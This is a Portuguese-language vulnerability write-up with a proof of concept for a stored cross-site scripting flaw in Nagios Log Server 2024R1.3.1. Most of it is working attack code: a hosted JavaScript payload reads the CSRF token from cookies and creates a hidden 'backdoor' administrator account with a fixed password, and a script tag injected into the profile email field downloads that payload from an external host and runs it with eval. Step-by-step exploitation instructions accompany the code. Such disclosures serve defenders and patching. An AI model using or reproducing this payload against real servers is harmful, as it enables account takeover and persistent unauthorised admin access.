
XSS armazenado no Nagios Log Server 2024R1.3.1
2024R1.3.1 e anterioresNagios Log Server 2024R1.3.1 (configuração padrão, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HSomente para fins autorizados de teste e pesquisa. Não teste nem explore esta vulnerabilidade em sistemas que você não possua ou para os quais não tenha permissão explícita para testar.
Uma vulnerabilidade de XSS armazenado no Nagios Log Server 2024R1.3.1 permite que um usuário de baixo privilégio injete JavaScript malicioso no campo 'email' do seu perfil.
Quando um administrador visualiza os logs de auditoria, o payload é executado, resultando em escalada de privilégios por meio da criação não autorizada de uma conta de administrador.
1.Hospede o payload xss.js no seu servidor externo com o seguinte conteúdo. O Github funciona bem.
Atualize <target-ip> para o IP/Hostname do alvo Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Faça login no Nagios Log Server como um usuário padrão (não administrador).
Navegue até o endpoint de atualização de perfil:
http://<target-ip>/nagioslogserver/profile/update
Injete o seguinte payload no campo de email. Atualize a linha do fetch com a URL onde o xss.js está armazenado.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor com acesso total de administrador no Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 corrige a vulnerabilidade de XSS armazenado e informou a NagiosCVE-2025-29471 para esta vulnerabilidade de XSS armazenado, mas os detalhes permaneceram não divulgados devido à ausência de um aviso público de segurança do fornecedor2024R1.3.2), que aplica o backport da correção da vulnerabilidade de XSS armazenado ao branch 2024R1CVE-2025-29471 foi formalmente publicadoEste trabalho foi realizado fora do meu vínculo empregatício e reflete meus esforços pessoais em pesquisa de segurança cibernética.